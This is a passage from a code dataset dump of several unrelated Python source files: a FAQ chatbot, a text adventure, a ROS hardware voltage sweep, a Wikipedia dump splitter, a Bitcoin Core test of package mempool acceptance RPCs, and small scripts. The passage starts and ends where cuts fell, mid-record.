getwordvec(word,model):\n samp=model['computer']\n sample_len=len(samp)\n vec=[0]*sample_len\n try:\n vec=model[word]\n except:\n vec=[0]*sample_len\n return vec\n\ndef getphrase(phrase,embeddingmodel):\n samp=getwordvec('computer',embeddingmodel)\n vec=np.array([0]*len(samp))\n den=0\n for word in phrase.split():\n den+=1\n vec=vec+np.array(getwordvec(word,embeddingmodel))\n return vec.reshape(1,-1)\n\ndef glove(question,cleaned_sent,param):\n google_model=gensim.models.KeyedVectors.load('chatbot/w2vecmodel.mod')\n sent_embedings=[]\n try_flag=False\n for sent in cleaned_sent:\n sent_embedings.append(getphrase(sent,google_model))\n ques_em=getphrase(question,google_model)\n max_sim=-1\n index_sim=-1\n try:\n for index,faq_em in enumerate(sent_embedings):\n if(param=='cosine'):\n sim=cosine_similarity(faq_em,ques_em)[0][0]\n if(param=='euclid'):\n sim=euclidean_distances(faq_em,ques_em)[0][0]\n if(param=='man'):\n sim=manhattan_distances(faq_em,ques_em)[0][0] \n if(sim>max_sim):\n max_sim=sim\n index_sim=index\n try_flag=True\n ans=df.iloc[index_sim,1]\n return ans,try_flag\n except Exception as e:\n return 0,try_flag\n\n\n#Response for bagofwords approach\ndef resp1(ques,param):\n cleaned_sent=get_clean_sent(df,stopwords=True)\n sentences=cleaned_sent\n sent_words=[[wrd for wrd in document.split()]for document in sentences]\n dictionary=corpora.Dictionary(sent_words)\n bow_corpus=[dictionary.doc2bow(text) for text in sent_words]\n ques=clean_sent(ques,stopwords=True)\n #print(ques)\n ques_em=dictionary.doc2bow(ques.split())\n #print(ques_em)\n ans,try_flag=glove(ques,cleaned_sent,param)\n #print('Returned ans :: ',ans)\n #print('try_flag :: ',try_flag)\n if try_flag:\n return ans\n return retrieve(ques_em,bow_corpus,df,sentences,ques,param)\n\n\ndef retrieve(ques_em,sent_em,df,sent,user_inp,param):\n max_sim=-1\n index_sim=-1\n try:\n for index,faq_em in enumerate(sent_em):\n if(param=='cosine'):\n sim=cosine_similarity(faq_em,ques_em)[0][0]\n if(param=='euclid'):\n sim=euclidean_distances(faq_em,ques_em)[0][0]\n if(param=='man'):\n sim=manhattan_distances(faq_em,ques_em)[0][0] \n if(sim>max_sim):\n max_sim=sim\n index_sim=index\n ans3=df.iloc[index_sim,1]\n return ans3\n except Exception as e:\n pass\n ans1=resp(user_inp)\n ans2=search_google(user_inp)\n cos1,cos2=0,0\n inp=text_to_vector(user_inp)\n cos1=get_cosine(inp,text_to_vector(ans1))\n cos2=get_cosine(inp,text_to_vector(ans2))\n if(cos1>=cos2):\n return ans1\n return ans2\n\ndef get_bot_resp(user_inp,param):\n flag=False\n while(1):\n ans=greet(user_inp.lower())\n print(\"got ans for query\",ans,user_inp)\n if(user_inp=='what are branches in sot'):\n ans=\"Following are the branches : Electrical,Chemical,Mechanical,Civil,Computer,ICT\"\n flag=True\n return ans,flag\n if(user_inp=='is there hostel facility in pdeu'):\n ans=\"Yes there is hostel facility in pdeu\"\n flag=True\n return ans,flag\n if(user_inp=='average fee per year'):\n ans='Average Fees 2,43,250 ruppes per year'\n flag=True\n return ans,flag\n if(ans!=None):\n flag=True\n return ans,flag\n return resp1(user_inp.lower(),param),flag\n\n\n\n","sub_path":"chatbot/chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":9965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"474558347","text":"#!/usr/bin/env python3\nclass Player:\n def __init__(self):\n self.area = 'Town'\n self.health = 10\n self.name = ''\n\ndef newGame():\n print('=====adventure.py=====')\n\n try:\n newName = input('Enter your name: ')\n except:\n print('\\nError setting player name.')\n return\n\n player.name = newName\n print('\\nWelcome ' + player.name + '! Your adventure begins!')\n\n print('\\nYou are currently in ' + player.area + ', what would you like to do?')\n print('TEMPORARY END')\n\nplayer = Player()\nnewGame()\n","sub_path":"python/adventure/adventure.py","file_name":"adventure.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"439860379","text":"#!/usr/bin/env python3\n\n\nimport sys\nimport time\nimport qlook\n#plotter = qlook.hemt_test_plot\nimport argparse\nsys.path.append('/home/amigos/ros/src/nasco_system/scripts')\n\nimport nasco_controller\nctrl = nasco_controller.controller()\n\nimport glob\nimport shutil\nimport os\n\nimport rospy\nfrom std_msgs.msg import String\n\n\nbeam_list = ['2l', '2r', '3l', '3r',\n '4l', '4r', '5l', '5r']\n\nbeam_num = 8\n\ninitial_voltage = -2. # mV\nfinal_voltage = 2. # mV\nstep = 0.1 # mV\ninterval = 0.1 # sec.\nroop = int((final_voltage - initial_voltage) / step)\n\n# Initialize\nfor beam in beam_list:\n ctrl.hemt.output_hemt_voltage(beam, vd = 1.2)\n ctrl.hemt.output_hemt_voltage(beam, vg1 = initial_voltage)\n ctrl.hemt.output_hemt_voltage(beam, vg2 = initial_voltage)\n \n \ntime.sleep(3.0)\n\n# Start Log.\nmsg = String()\nmsg.data = str(time.time()) # + lo\nflag_name = 'hemt_sweep_trigger'\npub = rospy.Publisher(flag_name, String, queue_size=1)\npub1 = rospy.Publisher('logger_flag', String, queue_size=1)\ntime.sleep(1.5) # 1.5 sec.\npub.publish(msg)\npub1.publish(msg)\ntime.sleep(0.5)\n\ntry:\n for vol in range(roop+1):\n for _ in beam_list:\n ctrl.hemt.output_hemt_voltage(beam=_, vd=1.2, vg1=vol*step+initial_voltage, vg2=vol*step+initial_voltage)\n \n time.sleep(1e-2) # 10 msec.\n time.sleep(5e-1)\n\nexcept KeyboardInterrupt:\n for _ in beam_list:\n ctrl.hemt.output_hemt_voltage(beam=_, vd=0)\n ctrl.hemt.output_hemt_voltage(beam=_, vg1=0)\n ctrl.hemt.output_hemt_voltage(beam=_, vg2=0)\n msg = String\n msg.data = ''\n pub.publish(msg)\n rospy.signal_shutdown('')\n\nfor _ in beam_list:\n ctrl.hemt.output_hemt_voltage(beam=_, vd=0)\n ctrl.hemt.output_hemt_voltage(beam=_, vg1=0)\n ctrl.hemt.output_hemt_voltage(beam=_, vg2=0)\n time.sleep(5e-2) # 50 msec.\n\n# Finish Log.\nmsg = String()\nmsg.data = ''\npub.publish(msg)\npub1.publish(msg)\n\n# cp data_tool\ndata_path = '/home/amigos/data/sql/hemt_sweep/'\nall_file = glob.glob(data_path + '*')\npath = max(all_file, key=os.path.getctime)\nplot_tool_path = '/home/amigos/ros/src/nasco_system/plot_tools/hemt_test_plot.ipynb'\nshutil.copy(plot_tool_path, path + '/hemt_test_plot.ipynb')\n\n# qlook\n\n#plotter.plot()\n","sub_path":"experiments/old/hemt_test.py","file_name":"hemt_test.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"10262458","text":"import plotly.express as px\nimport csv\nimport numpy as np\n\ndef plotfigure(data_path):\n with open(data_path) as csv_file:\n df=csv.DictReader(csv_file)\n fig=px.scatter(df,x=\"Days Present\",y=\"Marks In Percentage\")\n fig.show()\ndef getDataSource(data_path):\n MarksInPercentage=[]\n DaysPresent=[]\n with open(data_path)as csv_file:\n csv_reader=csv.DictReader(csv_file)\n for row in csv_reader:\n MarksInPercentage.append(float(row[\"Marks In Percentage\"]))\n DaysPresent.append(float(row[\"Days Present\"]))\n\n \n return{\"x\":MarksInPercentage,\"y\":DaysPresent}\n\ndef findcorrelation(dataSource):\n correlation=np.corrcoef(dataSource[\"x\"],dataSource[\"y\"])\n print(\"Co relation between Marks and Days Present: \\n=\",correlation[0,1])\n\n\ndef setup():\n data_path=\"data2.csv\"\n dataSource=getDataSource(data_path)\n findcorrelation(dataSource)\n plotfigure(data_path)\nsetup()\n","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"141357636","text":"#!/usr/bin/python3\nimport itertools\n\n__author__ = 'Pavel Yurgin'\n\nimport bz2\n\n\ndef read_header(wiki):\n header = []\n for line in wiki:\n header.append(line)\n if line.strip() == '':\n return header\n\n\ndef read_page(wiki, skip_redirect=True):\n page = []\n for line in wiki:\n if '#REDIRECT' in line and skip_redirect:\n for line in wiki:\n if line.strip() == '':\n page = []\n break\n else:\n page.append(line)\n if line.strip() == '':\n return page\n\n\ndef split_wiki(input, output, count=float('inf'), skip_redirect=True):\n with bz2.open(input, mode='rt') as input, open(output, 'w', buffering=1024 * 1024) as output:\n header = read_header(input)\n output.writelines(header)\n for i in itertools.count():\n if i > count:\n break\n page = read_page(input, skip_redirect=skip_redirect)\n output.write('\\n'.join(page))\n if i % 1000 == 0 and i != 0:\n print('{} pages processed'.format(i))\n output.write('')\n\n\ndef main():\n import argparse\n\n parser = argparse.ArgumentParser(\n '''Simple script for getting part of compressed wikipedia dump with ''')\n parser.add_argument('--input', metavar='input', type=str,\n help='path to input compressed wikipedia xml', required=True)\n\n parser.add_argument('--output', metavar='output', type=str,\n help='path to output xml', required=True)\n\n parser.add_argument('--count', metavar='count', type=int, required=True,\n help='page count')\n parser.add_argument('--skip_redirected', metavar='skip_redirected', type=bool,\n help='skip page with redirect')\n\n args = parser.parse_args()\n args = vars(args)\n args = {key: args[key] for key in args if args[key] is not None}\n\n split_wiki(**args)\n\nif __name__ == '__main__':\n main()\n","sub_path":"dataset/split_wiki_dump.py","file_name":"split_wiki_dump.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"270708258","text":"class Solution:\n def singleNumber(self, nums: List[int]) -> int: \n \n seen = set()\n \n for n in nums: \n if n in seen:\n seen.remove(n)\n else:\n seen.add(n)\n \n return seen.pop()\n\n # alternate solution using XOR (mem + time efficient)\n x = 0\n\n for n in nums: \n \t# e.g., x ^= 2 == 2, x ^= 2 == 0\n \tx ^= 0\n\n return x ","sub_path":"single_number.py","file_name":"single_number.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"361548910","text":"#!/usr/bin/env python3\n# Copyright (c) 2021 The Bitcoin Core developers\n# Distributed under the MIT software license, see the accompanying\n# file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\"\"\"RPCs that handle raw transaction packages.\"\"\"\n\nfrom decimal import Decimal\nimport random\n\nfrom test_framework.address import ADDRESS_BCRT1_P2WSH_OP_TRUE\nfrom test_framework.test_framework import BitcoinTestFramework\nfrom test_framework.messages import (\n BIP125_SEQUENCE_NUMBER,\n COIN,\n CTxInWitness,\n CTxOutValue,\n tx_from_hex,\n)\nfrom test_framework.script import (\n CScript,\n OP_TRUE,\n)\nfrom test_framework.util import (\n assert_equal,\n)\n\nclass RPCPackagesTest(BitcoinTestFramework):\n def set_test_params(self):\n self.num_nodes = 1\n self.setup_clean_chain = True\n\n def assert_testres_equal(self, package_hex, testres_expected):\n \"\"\"Shuffle package_hex and assert that the testmempoolaccept result matches testres_expected. This should only\n be used to test packages where the order does not matter. The ordering of transactions in package_hex and\n testres_expected must match.\n \"\"\"\n shuffled_indeces = list(range(len(package_hex)))\n random.shuffle(shuffled_indeces)\n shuffled_package = [package_hex[i] for i in shuffled_indeces]\n shuffled_testres = [testres_expected[i] for i in shuffled_indeces]\n assert_equal(shuffled_testres, self.nodes[0].testmempoolaccept(shuffled_package))\n\n def run_test(self):\n self.log.info(\"Generate blocks to create UTXOs\")\n node = self.nodes[0]\n self.privkeys = [node.get_deterministic_priv_key().key]\n self.address = node.get_deterministic_priv_key().address\n self.coins = []\n # The last 100 coinbase transactions are premature\n for b in node.generatetoaddress(200, self.address)[:100]:\n coinbase = node.getblock(blockhash=b, verbosity=2)[\"tx\"][0]\n self.coins.append({\n \"txid\": coinbase[\"txid\"],\n \"amount\": coinbase[\"vout\"][0][\"value\"],\n \"scriptPubKey\": coinbase[\"vout\"][0][\"scriptPubKey\"],\n })\n\n # Create some transactions that can be reused throughout the test. Never submit these to mempool.\n self.independent_txns_hex = []\n self.independent_txns_testres = []\n for _ in range(3):\n coin = self.coins.pop()\n rawtx = node.createrawtransaction([{\"txid\": coin[\"txid\"], \"vout\": 0}],\n [{self.address : coin[\"amount\"] - Decimal(\"0.0001\")}, {\"fee\" : Decimal(\"0.0001\") }])\n signedtx = node.signrawtransactionwithkey(hexstring=rawtx, privkeys=self.privkeys)\n assert signedtx[\"complete\"]\n testres = node.testmempoolaccept([signedtx[\"hex\"]])\n assert testres[0][\"allowed\"]\n self.independent_txns_hex.append(signedtx[\"hex\"])\n # testmempoolaccept returns a list of length one, avoid creating a 2D list\n self.independent_txns_testres.append(testres[0])\n self.independent_txns_testres_blank = [{\n \"txid\": res[\"txid\"], \"wtxid\": res[\"wtxid\"]} for res in self.independent_txns_testres]\n\n self.test_independent()\n self.test_chain()\n self.test_multiple_children()\n self.test_multiple_parents()\n self.test_conflicting()\n self.test_rbf()\n\n def chain_transaction(self, parent_txid, parent_value, n=0, parent_locking_script=None):\n \"\"\"Build a transaction that spends parent_txid.vout[n] and produces one output with\n amount = parent_value with a fee deducted.\n Return tuple (CTransaction object, raw hex, nValue, scriptPubKey of the output created).\n \"\"\"\n node = self.nodes[0]\n inputs = [{\"txid\": parent_txid, \"vout\": n}]\n my_value = parent_value - Decimal(\"0.0001\")\n outputs = [{self.address : my_value}, {\"fee\" : Decimal(\"0.0001\")}]\n rawtx = node.createrawtransaction(inputs, outputs)\n prevtxs = [{\n \"txid\": parent_txid,\n \"vout\": n,\n \"scriptPubKey\": parent_locking_script,\n \"amount\": parent_value,\n }] if parent_locking_script else None\n signedtx = node.signrawtransactionwithkey(hexstring=rawtx, privkeys=self.privkeys, prevtxs=prevtxs)\n assert signedtx[\"complete\"]\n tx = tx_from_hex(signedtx[\"hex\"])\n return (tx, signedtx[\"hex\"], my_value, tx.vout[0].scriptPubKey.hex())\n\n def test_independent(self):\n self.log.info(\"Test multiple independent transactions in a package\")\n node = self.nodes[0]\n # For independent transactions, order doesn't matter.\n self.assert_testres_equal(self.independent_txns_hex, self.independent_txns_testres)\n\n self.log.info(\"Test an otherwise valid package with an extra garbage tx appended\")\n garbage_tx = node.createrawtransaction([{\"txid\": \"00\" * 32, \"vout\": 5}], [{self.address: 1}])\n tx = tx_from_hex(garbage_tx)\n # Only the txid and wtxids are returned because validation is incomplete for the independent txns.\n # Package validation is atomic: if the node cannot find a UTXO for any single tx in the package,\n # it terminates immediately to avoid unnecessary, expensive signature verification.\n package_bad = self.independent_txns_hex + [garbage_tx]\n testres_bad = self.independent_txns_testres_blank + [{\"txid\": tx.rehash(), \"wtxid\": tx.getwtxid(), \"allowed\": False, \"reject-reason\": \"missing-inputs\"}]\n self.assert_testres_equal(package_bad, testres_bad)\n\n self.log.info(\"Check testmempoolaccept tells us when some transactions completed validation successfully\")\n coin = self.coins.pop()\n tx_bad_sig_hex = node.createrawtransaction([{\"txid\": coin[\"txid\"], \"vout\": 0}],\n [{self.address : coin[\"amount\"] - Decimal(\"0.0001\")}, {\"fee\" : Decimal(\"0.0001\") }])\n tx_bad_sig = tx_from_hex(tx_bad_sig_hex)\n testres_bad_sig = node.testmempoolaccept(self.independent_txns_hex + [tx_bad_sig_hex])\n # By the time the signature for the last transaction is checked, all the other transactions\n # have been fully validated, which is why the node returns full validation results for all\n # transactions here but empty results in other cases.\n assert_equal(testres_bad_sig, self.independent_txns_testres + [{\n \"txid\": tx_bad_sig.rehash(),\n \"wtxid\": tx_bad_sig.getwtxid(), \"allowed\": False,\n \"reject-reason\": \"mandatory-script-verify-flag-failed (Operation not valid with the current stack size)\"\n }])\n\n self.log.info(\"Check testmempoolaccept reports txns in packages that exceed max feerate\")\n coin = self.coins.pop()\n tx_high_fee_raw = node.createrawtransaction([{\"txid\": coin[\"txid\"], \"vout\": 0}],\n [{self.address : coin[\"amount\"] - Decimal(\"0.999\")}, {\"fee\" : Decimal(\"0.999\")}])\n tx_high_fee_signed = node.signrawtransactionwithkey(hexstring=tx_high_fee_raw, privkeys=self.privkeys)\n assert tx_high_fee_signed[\"complete\"]\n tx_high_fee = tx_from_hex(tx_high_fee_signed[\"hex\"])\n testres_high_fee = node.testmempoolaccept([tx_high_fee_signed[\"hex\"]])\n assert_equal(testres_high_fee, [\n {\"txid\": tx_high_fee.rehash(), \"wtxid\": tx_high_fee.getwtxid(), \"allowed\": False, \"reject-reason\": \"max-fee-exceeded\"}\n ])\n package_high_fee = [tx_high_fee_signed[\"hex\"]] + self.independent_txns_hex\n testres_package_high_fee = node.testmempoolaccept(package_high_fee)\n assert_equal(testres_package_high_fee, testres_high_fee + self.independent_txns_testres_blank)\n\n def test_chain(self):\n node = self.nodes[0]\n first_coin = self.coins.pop()\n\n # Chain of 25 transactions\n parent_locking_script = None\n txid = first_coin[\"txid\"]\n chain_hex = []\n chain_txns = []\n value = first_coin[\"amount\"]\n\n for _ in range(25):\n (tx, txhex, value, parent_locking_script) = self.chain_transaction(txid, value, 0, parent_locking_script)\n txid = tx.rehash()\n chain_hex.append(txhex)\n chain_txns.append(tx)\n\n self.log.info(\"Check that testmempoolaccept requires packages to be sorted by dependency\")\n assert_equal(node.testmempoolaccept(rawtxs=chain_hex[::-1]),\n [{\"txid\": tx.rehash(), \"wtxid\": tx.getwtxid(), \"package-error\": \"package-not-sorted\"} for tx in chain_txns[::-1]])\n\n self.log.info(\"Testmempoolaccept a chain of 25 transactions\")\n testres_multiple = node.testmempoolaccept(rawtxs=chain_hex)\n\n testres_single = []\n # Test accept and then submit each one individually, which should be identical to package test accept\n for rawtx in chain_hex:\n testres = node.testmempoolaccept([rawtx])\n testres_single.append(testres[0])\n # Submit the transaction now so its child should have no problem validating\n node.sendrawtransaction(rawtx)\n assert_equal(testres_single, testres_multiple)\n\n # Clean up by clearing the mempool\n node.generate(1)\n\n def test_multiple_children(self):\n node = self.nodes[0]\n\n self.log.info(\"Testmempoolaccept a package in which a transaction has two children within the package\")\n first_coin = self.coins.pop()\n value = (first_coin[\"amount\"] - Decimal(\"0.0002\")) / 2 # Deduct reasonable fee and make 2 outputs\n inputs = [{\"txid\": first_coin[\"txid\"], \"vout\": 0}]\n outputs = [{self.address : value}, {ADDRESS_BCRT1_P2WSH_OP_TRUE : value}, {\"fee\": Decimal(\"0.0002\")}]\n rawtx = node.createrawtransaction(inputs, outputs)\n\n parent_signed = node.signrawtransactionwithkey(hexstring=rawtx, privkeys=self.privkeys)\n assert parent_signed[\"complete\"]\n parent_tx = tx_from_hex(parent_signed[\"hex\"])\n parent_txid = parent_tx.rehash()\n assert node.testmempoolaccept([parent_signed[\"hex\"]])[0][\"allowed\"]\n\n parent_locking_script_a = parent_tx.vout[0].scriptPubKey.hex()\n child_value = value\n\n # Child A\n (_, tx_child_a_hex, _, _) = self.chain_transaction(parent_txid, child_value, 0, parent_locking_script_a)\n assert not node.testmempoolaccept([tx_child_a_hex])[0][\"allowed\"]\n\n # Child B\n rawtx_b = node.createrawtransaction([{\"txid\": parent_txid, \"vout\": 1}], [{self.address : child_value - Decimal(\"0.0001\")}, {\"fee\": Decimal(\"0.0001\")}])\n tx_child_b = tx_from_hex(rawtx_b)\n tx_child_b.wit.vtxinwit = [CTxInWitness()]\n tx_child_b.wit.vtxinwit[0].scriptWitness.stack = [CScript([OP_TRUE])]\n tx_child_b_hex = tx_child_b.serialize().hex()\n assert not node.testmempoolaccept([tx_child_b_hex])[0][\"allowed\"]\n\n self.log.info(\"Testmempoolaccept with entire package, should work with children in either order\")\n testres_multiple_ab = node.testmempoolaccept(rawtxs=[parent_signed[\"hex\"], tx_child_a_hex, tx_child_b_hex])\n testres_multiple_ba = node.testmempoolaccept(rawtxs=[parent_signed[\"hex\"], tx_child_b_hex, tx_child_a_hex])\n assert all([testres[\"allowed\"] for testres in testres_multiple_ab + testres_multiple_ba])\n\n testres_single = []\n # Test accept and then submit each one individually, which should be identical to package testaccept\n for rawtx in [parent_signed[\"hex\"], tx_child_a_hex, tx_child_b_hex]:\n testres = node.testmempoolaccept([rawtx])\n testres_single.append(testres[0])\n # Submit the transaction now so its child should have no problem validating\n node.sendrawtransaction(rawtx)\n assert_equal(testres_single, testres_multiple_ab)\n\n def create_child_with_parents(self, parents_tx, values, locking_scripts):\n \"\"\"Creates a transaction that spends the first output of each parent in parents_tx.\"\"\"\n num_parents = len(parents_tx)\n total_value = sum(values)\n inputs = [{\"txid\": tx.rehash(), \"vout\": 0} for tx in parents_tx]\n outputs = [{self.address : total_value - num_parents * Decimal(\"0.0001\")}, {\"fee\" : num_parents * Decimal(\"0.0001\")}]\n rawtx_child = self.nodes[0].createrawtransaction(inputs, outputs)\n prevtxs = []\n for i in range(num_parents):\n prevtxs.append({\"txid\": parents_tx[i].rehash(), \"vout\": 0, \"scriptPubKey\": locking_scripts[i], \"amount\": values[i]})\n signedtx_child = self.nodes[0].signrawtransactionwithkey(hexstring=rawtx_child, privkeys=self.privkeys, prevtxs=prevtxs)\n assert signedtx_child[\"complete\"]\n return signedtx_child[\"hex\"]\n\n def test_multiple_parents(self):\n node = self.nodes[0]\n\n self.log.info(\"Testmempoolaccept a package in which a transaction has multiple parents within the package\")\n for num_parents in [2, 10, 24]:\n # Test a package with num_parents parents and 1 child transaction.\n package_hex = []\n parents_tx = []\n values = []\n parent_locking_scripts = []\n for _ in range(num_parents):\n parent_coin = self.coins.pop()\n value = parent_coin[\"amount\"]\n (tx, txhex, value, parent_locking_script) = self.chain_transaction(parent_coin[\"txid\"], value)\n package_hex.append(txhex)\n parents_tx.append(tx)\n values.append(value)\n parent_locking_scripts.append(parent_locking_script)\n child_hex = self.create_child_with_parents(parents_tx, values, parent_locking_scripts)\n # Package accept should work with the parents in any order (as long as parents come before child)\n for _ in range(10):\n random.shuffle(package_hex)\n testres_multiple = node.testmempoolaccept(rawtxs=package_hex + [child_hex])\n assert all([testres[\"allowed\"] for testres in testres_multiple])\n\n testres_single = []\n # Test accept and then submit each one individually, which should be identical to package testaccept\n for rawtx in package_hex + [child_hex]:\n testres_single.append(node.testmempoolaccept([rawtx])[0])\n # Submit the transaction now so its child should have no problem validating\n node.sendrawtransaction(rawtx)\n assert_equal(testres_single, testres_multiple)\n\n def test_conflicting(self):\n node = self.nodes[0]\n prevtx = self.coins.pop()\n inputs = [{\"txid\": prevtx[\"txid\"], \"vout\": 0}]\n output1 = [{node.get_deterministic_priv_key().address: 50 - 0.00125}, {\"fee\" : 0.00125}]\n output2 = [{ADDRESS_BCRT1_P2WSH_OP_TRUE: 50 - 0.00125}, {\"fee\" : 0.00125}]\n\n # tx1 and tx2 share the same inputs\n rawtx1 = node.createrawtransaction(inputs, output1)\n rawtx2 = node.createrawtransaction(inputs, output2)\n signedtx1 = node.signrawtransactionwithkey(hexstring=rawtx1, privkeys=self.privkeys)\n signedtx2 = node.signrawtransactionwithkey(hexstring=rawtx2, privkeys=self.privkeys)\n tx1 = tx_from_hex(signedtx1[\"hex\"])\n tx2 = tx_from_hex(signedtx2[\"hex\"])\n assert signedtx1[\"complete\"]\n assert signedtx2[\"complete\"]\n\n # Ensure tx1 and tx2 are valid by themselves\n assert node.testmempoolaccept([signedtx1[\"hex\"]])[0][\"allowed\"]\n assert node.testmempoolaccept([signedtx2[\"hex\"]])[0][\"allowed\"]\n\n self.log.info(\"Test duplicate transactions in the same package\")\n testres = node.testmempoolaccept([signedtx1[\"hex\"], signedtx1[\"hex\"]])\n assert_equal(testres, [\n {\"txid\": tx1.rehash(), \"wtxid\": tx1.getwtxid(), \"package-error\": \"conflict-in-package\"},\n {\"txid\": tx1.rehash(), \"wtxid\": tx1.getwtxid(), \"package-error\": \"conflict-in-package\"}\n ])\n\n self.log.info(\"Test conflicting transactions in the same package\")\n testres = node.testmempoolaccept([signedtx1[\"hex\"], signedtx2[\"hex\"]])\n assert_equal(testres, [\n {\"txid\": tx1.rehash(), \"wtxid\": tx1.getwtxid(), \"package-error\": \"conflict-in-package\"},\n {\"txid\": tx2.rehash(), \"wtxid\": tx2.getwtxid(), \"package-error\": \"conflict-in-package\"}\n ])\n\n def test_rbf(self):\n node = self.nodes[0]\n coin = self.coins.pop()\n inputs = [{\"txid\": coin[\"txid\"], \"vout\": 0, \"sequence\": BIP125_SEQUENCE_NUMBER}]\n fee = Decimal('0.00125000')\n output = [{node.get_deterministic_priv_key().address: 50 - fee}, {\"fee\" : fee}]\n raw_replaceable_tx = node.createrawtransaction(inputs, output)\n signed_replaceable_tx = node.signrawtransactionwithkey(hexstring=raw_replaceable_tx, privkeys=self.privkeys)\n testres_replaceable = node.testmempoolaccept([signed_replaceable_tx[\"hex\"]])\n replaceable_tx = tx_from_hex(signed_replaceable_tx[\"hex\"])\n assert_equal(testres_replaceable, [\n {\"txid\": replaceable_tx.rehash(), \"wtxid\": replaceable_tx.getwtxid(),\n \"allowed\": True, \"vsize\": replaceable_tx.get_vsize(), \"fees\": { \"base\": fee }}\n ])\n\n # Replacement transaction is identical except has double the fee\n replacement_tx = tx_from_hex(signed_replaceable_tx[\"hex\"])\n replacement_tx.vout[0].nValue = CTxOutValue(int((50 - 2*fee) * COIN)) # Doubled fee\n replacement_tx.vout[1].nValue = CTxOutValue(int(2*fee * COIN)) # Doubled fee\n signed_replacement_tx = node.signrawtransactionwithkey(replacement_tx.serialize().hex(), self.privkeys)\n replacement_tx = tx_from_hex(signed_replacement_tx[\"hex\"])\n\n self.log.info(\"Test that transactions within a package cannot replace each other\")\n testres_rbf_conflicting = node.testmempoolaccept([signed_replaceable_tx[\"hex\"], signed_replacement_tx[\"hex\"]])\n assert_equal(testres_rbf_conflicting, [\n {\"txid\": replaceable_tx.rehash(), \"wtxid\": replaceable_tx.getwtxid(), \"package-error\": \"conflict-in-package\"},\n {\"txid\": replacement_tx.rehash(), \"wtxid\": replacement_tx.getwtxid(), \"package-error\": \"conflict-in-package\"}\n ])\n\n self.log.info(\"Test that packages cannot conflict with mempool transactions, even if a valid BIP125 RBF\")\n node.sendrawtransaction(signed_replaceable_tx[\"hex\"])\n testres_rbf_single = node.testmempoolaccept([signed_replacement_tx[\"hex\"]])\n # This transaction is a valid BIP125 replace-by-fee\n assert testres_rbf_single[0][\"allowed\"]\n testres_rbf_package = self.independent_txns_testres_blank + [{\n \"txid\": replacement_tx.rehash(), \"wtxid\": replacement_tx.getwtxid(), \"allowed\": False,\n \"reject-reason\": \"bip125-replacement-disallowed\"\n }]\n self.assert_testres_equal(self.independent_txns_hex + [signed_replacement_tx[\"hex\"]], testres_rbf_package)\n\nif __name__ == \"__main__\":\n RPCPackagesTest().main()\n","sub_path":"test/functional/rpc_packages.py","file_name":"rpc_packages.py","file_ext":"py","file_size_in_byte":19043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"129955690","text":"n = int(input())\nl = []\nl1 = []\nfor i in range(0, n):\n l.append(list(map(int, input().split(','))))\n\nif l[0] == l[1] or l[1] == l[2] or l[0] == l[2]:\n print(False)\nelse:\n for i in range(1, 3):\n l1.append((l[i][1] - l[0][1]) / (l[i][0] - l[0][0]))\n if l1.count(l1[0]) == 1:\n print(True)\n else:\n print(False)\n \n\n\n\n\n","sub_path":"Code/CodeRecords/2377/60691/270586.py","file_name":"270586.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"408064477","text":"from __future__ import annotations\n\nimport os\n\nimport procrunner\n\n\ndef test(dials_regression, run_in_tmpdir):\n result = procrunner.run(\n [\n \"dials.plot_scan_varying_model\",\n os.path.join(\n dials_regression,\n \"refinement_test_data\",\n \"multi_sweep_one_sample\",\n \"glucose_isomerase\",\n \"SWEEP1\",\n \"index\",\n \"sv_refined_experiments.json\",\n ),\n ]\n )\n assert not result.returncode and not result.stderr\n","sub_path":"tests/command_line/test_plot_scan_varying_model.py","file_name":"test_plot_scan_varying_model.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"570154954","text":"import matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom sys import exit\nsns.set_style('white')\nsns.set_context('paper')\n# Plot adjustments:\nplt.rcParams.update({'ytick.labelsize': 28})\nplt.rcParams.update({'xtick.labelsize': 28})\nplt.rcParams.update({'axes.labelsize': 45})\nplt.rcParams.update({'legend.fontsize': 36})\nplt.rcParams.update({'axes.titlesize':50})\nplt.rcParams.update({'axes.grid': False})\n\nregression_data = ['52_log_GFP_0.01_LOO.txt',\n '52_log_sum_ratio_0.019_LOO.txt',\n 'lin_log_mKate_0.019_LOO.txt']\nclass_data = ['2016-06-22__GFP_above_parent_SEStructure_LOO.txt',\n '2016-06-22__sum_ratio_above_parent_SEStructure_LOO.txt',\n '2016-06-22__mKate_above_parent_structure_LOO.txt',\n]\nfile_names = ['GFP',\n 'sum_ratio',\n 'mKate']\nnames = ['localization',\n 'localization efficiency',\n 'expression']\nvalidations = [('log_GFP_52_0.01.txt', 'GFP_above_SEStructure.txt'),\n ('log_sum_ratio_52_0.019.txt', 'sum_ratio_above_SEStructure.txt'),\n ('log_mKate_lin_0.019.txt', 'mKate_above_structure.txt',)]\nys = ['log_GFP',\n 'log_sum_ratio',\n 'log_mKate']\n\nroot = '../../Programming Tools/Twist Project/'\ndata_folder = root + '2016-06-22/models/'\nvalidation_folder = root + '2016-06-22/validation/'\nplot_folder = 'plots/'\nparents = {'cschrimson':sns.xkcd_rgb['pale red'],\n 'c1c2':sns.xkcd_rgb['medium 